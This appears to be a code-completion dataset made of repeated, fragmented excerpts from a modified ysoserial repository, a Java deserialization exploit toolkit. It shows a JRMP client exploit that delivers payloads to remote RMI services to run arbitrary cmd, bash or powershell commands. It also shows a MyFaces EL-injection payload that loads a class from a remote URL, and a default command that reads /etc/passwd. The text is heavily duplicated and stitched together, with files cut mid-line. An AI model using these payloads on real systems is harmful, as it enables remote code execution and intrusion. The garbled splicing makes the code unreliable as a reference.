// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
| import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.net.URLClassLoader;
import java.net.UnknownHostException;
import javax.net.SocketFactory;
import sun.rmi.transport.TransportConstants;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.CmdExecuteHelper; | package ysoserial.exploit;
/**
* Generic JRMP client
*
* Pretty much the same thing as {@link RMIRegistryExploit} but
* - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
* - not deserializing anything (so you don't get yourself exploited ;))
*
* @author mbechler
*
*/
@SuppressWarnings ( {
"restriction"
} )
public class JRMPClient {
public static final void main ( final String[] args ) {
if ( args.length < 5 ) {
System.err.println(JRMPClient.class.getName() + " <host> <port> <payload_type> <terminal_type> <cmd_to_exec>");
System.exit(-1);
}
| // Path: src/main/java/ysoserial/payloads/ObjectPayload.java
// public static class Utils {
//
// // get payload classes by classpath scanning
// public static Set<Class<? extends ObjectPayload>> getPayloadClasses () {
// final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
// final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
// for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) {
// Class<? extends ObjectPayload> pc = iterator.next();
// if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) {
// iterator.remove();
// }
// }
// return payloadTypes;
// }
//
//
// @SuppressWarnings ( "unchecked" )
// public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) {
// Class<? extends ObjectPayload> clazz = null;
// try {
// clazz = (Class<? extends ObjectPayload>) Class.forName(className);
// }
// catch ( Exception e1 ) {}
// if ( clazz == null ) {
// try {
// return clazz = (Class<? extends ObjectPayload>) Class
// .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className);
// }
// catch ( Exception e2 ) {}
// }
// if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) {
// clazz = null;
// }
// return clazz;
// }
//
//
// public static Object makePayloadObject ( String payloadType, CmdExecuteHelper cmdHelper ) {
// final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
// if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
// throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
//
// }
//
// final Object payloadObject;
// try {
// final ObjectPayload payload = payloadClass.newInstance();
// payloadObject = payload.getObject(cmdHelper);
// }
// catch ( Exception e ) {
// throw new IllegalArgumentException("Failed to construct payload", e);
// }
// return payloadObject;
// }
//
//
// @SuppressWarnings ( "unchecked" )
// public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception {
// if ( payload instanceof ReleaseableObjectPayload ) {
// ( (ReleaseableObjectPayload) payload ).release(object);
// }
// }
//
//
// public static void releasePayload ( String payloadType, Object payloadObject ) {
// final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
// if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
// throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
//
// }
//
// try {
// final ObjectPayload payload = payloadClass.newInstance();
// releasePayload(payload, payloadObject);
// }
// catch ( Exception e ) {
// e.printStackTrace();
// }
//
// }
// }
//
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
// Path: src/main/java/ysoserial/exploit/JRMPClient.java
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.net.URLClassLoader;
import java.net.UnknownHostException;
import javax.net.SocketFactory;
import sun.rmi.transport.TransportConstants;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.CmdExecuteHelper;
package ysoserial.exploit;
/**
* Generic JRMP client
*
* Pretty much the same thing as {@link RMIRegistryExploit} but
* - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
* - not deserializing anything (so you don't get yourself exploited ;))
*
* @author mbechler
*
*/
@SuppressWarnings ( {
"restriction"
} )
public class JRMPClient {
public static final void main ( final String[] args ) {
if ( args.length < 5 ) {
System.err.println(JRMPClient.class.getName() + " <host> <port> <payload_type> <terminal_type> <cmd_to_exec>");
System.exit(-1);
}
| CmdExecuteHelper cmdHelper = new CmdExecuteHelper(args[3], args[4]); |
pimps/ysoserial-modified | src/main/java/ysoserial/exploit/JRMPClient.java | // Path: src/main/java/ysoserial/payloads/ObjectPayload.java
// public static class Utils {
//
// // get payload classes by classpath scanning
// public static Set<Class<? extends ObjectPayload>> getPayloadClasses () {
// final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
// final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
// for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) {
// Class<? extends ObjectPayload> pc = iterator.next();
// if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) {
// iterator.remove();
// }
// }
// return payloadTypes;
// }
//
//
// @SuppressWarnings ( "unchecked" )
// public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) {
// Class<? extends ObjectPayload> clazz = null;
// try {
// clazz = (Class<? extends ObjectPayload>) Class.forName(className);
// }
// catch ( Exception e1 ) {}
// if ( clazz == null ) {
// try {
// return clazz = (Class<? extends ObjectPayload>) Class
// .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className);
// }
// catch ( Exception e2 ) {}
// }
// if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) {
// clazz = null;
// }
// return clazz;
// }
//
//
// public static Object makePayloadObject ( String payloadType, CmdExecuteHelper cmdHelper ) {
// final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
// if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
// throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
//
// }
//
// final Object payloadObject;
// try {
// final ObjectPayload payload = payloadClass.newInstance();
// payloadObject = payload.getObject(cmdHelper);
// }
// catch ( Exception e ) {
// throw new IllegalArgumentException("Failed to construct payload", e);
// }
// return payloadObject;
// }
//
//
// @SuppressWarnings ( "unchecked" )
// public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception {
// if ( payload instanceof ReleaseableObjectPayload ) {
// ( (ReleaseableObjectPayload) payload ).release(object);
// }
// }
//
//
// public static void releasePayload ( String payloadType, Object payloadObject ) {
// final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
// if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
// throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
//
// }
//
// try {
// final ObjectPayload payload = payloadClass.newInstance();
// releasePayload(payload, payloadObject);
// }
// catch ( Exception e ) {
// e.printStackTrace();
// }
//
// }
// }
//
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
| import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.net.URLClassLoader;
import java.net.UnknownHostException;
import javax.net.SocketFactory;
import sun.rmi.transport.TransportConstants;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.CmdExecuteHelper; | package ysoserial.exploit;
/**
* Generic JRMP client
*
* Pretty much the same thing as {@link RMIRegistryExploit} but
* - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
* - not deserializing anything (so you don't get yourself exploited ;))
*
* @author mbechler
*
*/
@SuppressWarnings ( {
"restriction"
} )
public class JRMPClient {
public static final void main ( final String[] args ) {
if ( args.length < 5 ) {
System.err.println(JRMPClient.class.getName() + " <host> <port> <payload_type> <terminal_type> <cmd_to_exec>");
System.exit(-1);
}
CmdExecuteHelper cmdHelper = new CmdExecuteHelper(args[3], args[4]); | // Path: src/main/java/ysoserial/payloads/ObjectPayload.java
// public static class Utils {
//
// // get payload classes by classpath scanning
// public static Set<Class<? extends ObjectPayload>> getPayloadClasses () {
// final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
// final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
// for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) {
// Class<? extends ObjectPayload> pc = iterator.next();
// if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) {
// iterator.remove();
// }
// }
// return payloadTypes;
// }
//
//
// @SuppressWarnings ( "unchecked" )
// public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) {
// Class<? extends ObjectPayload> clazz = null;
// try {
// clazz = (Class<? extends ObjectPayload>) Class.forName(className);
// }
// catch ( Exception e1 ) {}
// if ( clazz == null ) {
// try {
// return clazz = (Class<? extends ObjectPayload>) Class
// .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className);
// }
// catch ( Exception e2 ) {}
// }
// if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) {
// clazz = null;
// }
// return clazz;
// }
//
//
// public static Object makePayloadObject ( String payloadType, CmdExecuteHelper cmdHelper ) {
// final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
// if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
// throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
//
// }
//
// final Object payloadObject;
// try {
// final ObjectPayload payload = payloadClass.newInstance();
// payloadObject = payload.getObject(cmdHelper);
// }
// catch ( Exception e ) {
// throw new IllegalArgumentException("Failed to construct payload", e);
// }
// return payloadObject;
// }
//
//
// @SuppressWarnings ( "unchecked" )
// public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception {
// if ( payload instanceof ReleaseableObjectPayload ) {
// ( (ReleaseableObjectPayload) payload ).release(object);
// }
// }
//
//
// public static void releasePayload ( String payloadType, Object payloadObject ) {
// final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
// if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
// throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
//
// }
//
// try {
// final ObjectPayload payload = payloadClass.newInstance();
// releasePayload(payload, payloadObject);
// }
// catch ( Exception e ) {
// e.printStackTrace();
// }
//
// }
// }
//
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
// Path: src/main/java/ysoserial/exploit/JRMPClient.java
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.net.URLClassLoader;
import java.net.UnknownHostException;
import javax.net.SocketFactory;
import sun.rmi.transport.TransportConstants;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.CmdExecuteHelper;
package ysoserial.exploit;
/**
* Generic JRMP client
*
* Pretty much the same thing as {@link RMIRegistryExploit} but
* - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
* - not deserializing anything (so you don't get yourself exploited ;))
*
* @author mbechler
*
*/
@SuppressWarnings ( {
"restriction"
} )
public class JRMPClient {
public static final void main ( final String[] args ) {
if ( args.length < 5 ) {
System.err.println(JRMPClient.class.getName() + " <host> <port> <payload_type> <terminal_type> <cmd_to_exec>");
System.exit(-1);
}
CmdExecuteHelper cmdHelper = new CmdExecuteHelper(args[3], args[4]); | Object payloadObject = Utils.makePayloadObject(args[2], cmdHelper); |
pimps/ysoserial-modified | src/test/java/ysoserial/payloads/TestHarnessTest.java | // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
| import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import org.hamcrest.CoreMatchers;
import org.junit.Assert;
import org.junit.Test;
import ysoserial.payloads.util.CmdExecuteHelper; | package ysoserial.payloads;
public class TestHarnessTest {
// make sure test harness fails properly
@Test
public void testHarnessExecFail() throws Exception {
try {
PayloadsTest.testPayload(NoopMockPayload.class, new Class[0]);
Assert.fail("should have failed");
} catch (AssertionError e) {
Assert.assertThat(e.getMessage(), CoreMatchers.containsString("but was:<class java.lang.AssertionError>"));
}
}
// make sure test harness fails properly
@Test
public void testHarnessClassLoaderFail() throws Exception {
try {
PayloadsTest.testPayload(ExecMockPayload.class, new Class[0]);
Assert.fail("should have failed");
} catch (AssertionError e) {
Assert.assertThat(e.getMessage(), CoreMatchers.containsString("ClassNotFoundException"));
}
}
// make sure test harness passes properly with trivial execution gadget
@Test
public void testHarnessExecPass() throws Exception {
PayloadsTest.testPayload(ExecMockPayload.class, new Class[] { ExecMockSerializable.class });
}
public static class ExecMockPayload implements ObjectPayload<ExecMockSerializable> { | // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
// Path: src/test/java/ysoserial/payloads/TestHarnessTest.java
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import org.hamcrest.CoreMatchers;
import org.junit.Assert;
import org.junit.Test;
import ysoserial.payloads.util.CmdExecuteHelper;
package ysoserial.payloads;
public class TestHarnessTest {
// make sure test harness fails properly
@Test
public void testHarnessExecFail() throws Exception {
try {
PayloadsTest.testPayload(NoopMockPayload.class, new Class[0]);
Assert.fail("should have failed");
} catch (AssertionError e) {
Assert.assertThat(e.getMessage(), CoreMatchers.containsString("but was:<class java.lang.AssertionError>"));
}
}
// make sure test harness fails properly
@Test
public void testHarnessClassLoaderFail() throws Exception {
try {
PayloadsTest.testPayload(ExecMockPayload.class, new Class[0]);
Assert.fail("should have failed");
} catch (AssertionError e) {
Assert.assertThat(e.getMessage(), CoreMatchers.containsString("ClassNotFoundException"));
}
}
// make sure test harness passes properly with trivial execution gadget
@Test
public void testHarnessExecPass() throws Exception {
PayloadsTest.testPayload(ExecMockPayload.class, new Class[] { ExecMockSerializable.class });
}
public static class ExecMockPayload implements ObjectPayload<ExecMockSerializable> { | public ExecMockSerializable getObject(CmdExecuteHelper cmdHelper) throws Exception { |
pimps/ysoserial-modified | src/main/java/ysoserial/payloads/Myfaces2.java | // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
//
// Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java
// @SuppressWarnings("unused")
// public class PayloadRunner {
// public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// // ensure payload generation doesn't throw an exception
// byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
// public byte[] call() throws Exception {
// final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou";
//
// System.out.println("generating payload object(s) for command: '" + command + "'");
//
// CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command);
//
// ObjectPayload<?> payload = clazz.newInstance();
// final Object objBefore = payload.getObject(cmdHelper);
//
// System.out.println("serializing payload");
// byte[] ser = Serializer.serialize(objBefore);
// Utils.releasePayload(payload, objBefore);
// return ser;
// }});
//
// try {
// System.out.println("deserializing payload");
// final Object objAfter = Deserializer.deserialize(serialized);
// } catch (Exception e) {
// e.printStackTrace();
// }
//
// }
//
// }
| import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.CmdExecuteHelper;
import ysoserial.payloads.util.PayloadRunner; | package ysoserial.payloads;
/**
*
* ValueExpressionImpl.getValue(ELContext)
* ValueExpressionMethodExpression.getMethodExpression(ELContext)
* ValueExpressionMethodExpression.getMethodExpression()
* ValueExpressionMethodExpression.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
*
* Arguments:
* - base_url:classname
*
* Yields:
* - Instantiation of remotely loaded class
*
* Requires:
* - MyFaces
* - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized)
*
* @author mbechler
*/
@PayloadTest ( harness = "ysoserial.payloads.MyfacesTest" )
public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
public static String[] getDependencies () {
return Myfaces1.getDependencies();
}
| // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
//
// Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java
// @SuppressWarnings("unused")
// public class PayloadRunner {
// public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// // ensure payload generation doesn't throw an exception
// byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
// public byte[] call() throws Exception {
// final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou";
//
// System.out.println("generating payload object(s) for command: '" + command + "'");
//
// CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command);
//
// ObjectPayload<?> payload = clazz.newInstance();
// final Object objBefore = payload.getObject(cmdHelper);
//
// System.out.println("serializing payload");
// byte[] ser = Serializer.serialize(objBefore);
// Utils.releasePayload(payload, objBefore);
// return ser;
// }});
//
// try {
// System.out.println("deserializing payload");
// final Object objAfter = Deserializer.deserialize(serialized);
// } catch (Exception e) {
// e.printStackTrace();
// }
//
// }
//
// }
// Path: src/main/java/ysoserial/payloads/Myfaces2.java
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.CmdExecuteHelper;
import ysoserial.payloads.util.PayloadRunner;
package ysoserial.payloads;
/**
*
* ValueExpressionImpl.getValue(ELContext)
* ValueExpressionMethodExpression.getMethodExpression(ELContext)
* ValueExpressionMethodExpression.getMethodExpression()
* ValueExpressionMethodExpression.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
*
* Arguments:
* - base_url:classname
*
* Yields:
* - Instantiation of remotely loaded class
*
* Requires:
* - MyFaces
* - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized)
*
* @author mbechler
*/
@PayloadTest ( harness = "ysoserial.payloads.MyfacesTest" )
public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
public static String[] getDependencies () {
return Myfaces1.getDependencies();
}
| public Object getObject ( CmdExecuteHelper cmdHelper ) throws Exception { |
pimps/ysoserial-modified | src/main/java/ysoserial/payloads/Myfaces2.java | // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
//
// Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java
// @SuppressWarnings("unused")
// public class PayloadRunner {
// public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// // ensure payload generation doesn't throw an exception
// byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
// public byte[] call() throws Exception {
// final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou";
//
// System.out.println("generating payload object(s) for command: '" + command + "'");
//
// CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command);
//
// ObjectPayload<?> payload = clazz.newInstance();
// final Object objBefore = payload.getObject(cmdHelper);
//
// System.out.println("serializing payload");
// byte[] ser = Serializer.serialize(objBefore);
// Utils.releasePayload(payload, objBefore);
// return ser;
// }});
//
// try {
// System.out.println("deserializing payload");
// final Object objAfter = Deserializer.deserialize(serialized);
// } catch (Exception e) {
// e.printStackTrace();
// }
//
// }
//
// }
| import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.CmdExecuteHelper;
import ysoserial.payloads.util.PayloadRunner; | package ysoserial.payloads;
/**
*
* ValueExpressionImpl.getValue(ELContext)
* ValueExpressionMethodExpression.getMethodExpression(ELContext)
* ValueExpressionMethodExpression.getMethodExpression()
* ValueExpressionMethodExpression.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
*
* Arguments:
* - base_url:classname
*
* Yields:
* - Instantiation of remotely loaded class
*
* Requires:
* - MyFaces
* - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized)
*
* @author mbechler
*/
@PayloadTest ( harness = "ysoserial.payloads.MyfacesTest" )
public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
public static String[] getDependencies () {
return Myfaces1.getDependencies();
}
public Object getObject ( CmdExecuteHelper cmdHelper ) throws Exception {
int sep = cmdHelper.getCommand().lastIndexOf(':');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}
String url = cmdHelper.getCommand().substring(0, sep);
String className = cmdHelper.getCommand().substring(sep + 1);
// based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/
String expr = "${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}";
// if we add fewer than the actual classloaders we end up with a null entry
for ( int i = 0; i < 100; i++ ) {
expr += "${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('" + url + "').toURL())}";
}
expr += "${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')"
+ ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('" + className + "').newInstance()}";
return Myfaces1.makeExpressionPayload(expr);
}
public static void main ( final String[] args ) throws Exception { | // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java
// public class CmdExecuteHelper {
//
// private String terminalType;
//
// private String[] commandArray;
//
// private String command;
//
// public CmdExecuteHelper(String terminalType, String command) {
// super();
// this.terminalType = terminalType;
// this.command = command;
//
// switch (terminalType) {
// case "cmd":
// this.commandArray = new String[]{"cmd.exe","/c", command};
// break;
// case "bash":
// this.commandArray = new String[]{"/bin/bash","-c", command};
// break;
// case "powershell":
// this.commandArray = new String[]{"powershell.exe","-c", command};
// break;
// default:
// this.commandArray = new String[]{command};
// break;
// }
// }
//
// public String[] getCommandArray() {
// return commandArray;
// }
//
// public void setCommandArray(String[] commandArray) {
// this.commandArray = commandArray;
// }
//
// public String getCommand() {
// return command;
// }
//
// public void setCommand(String command) {
// this.command = command;
// }
//
// public String getTerminalType() {
// return terminalType;
// }
//
// public void setTerminalType(String terminalType) {
// this.terminalType = terminalType;
// }
//
// }
//
// Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java
// @SuppressWarnings("unused")
// public class PayloadRunner {
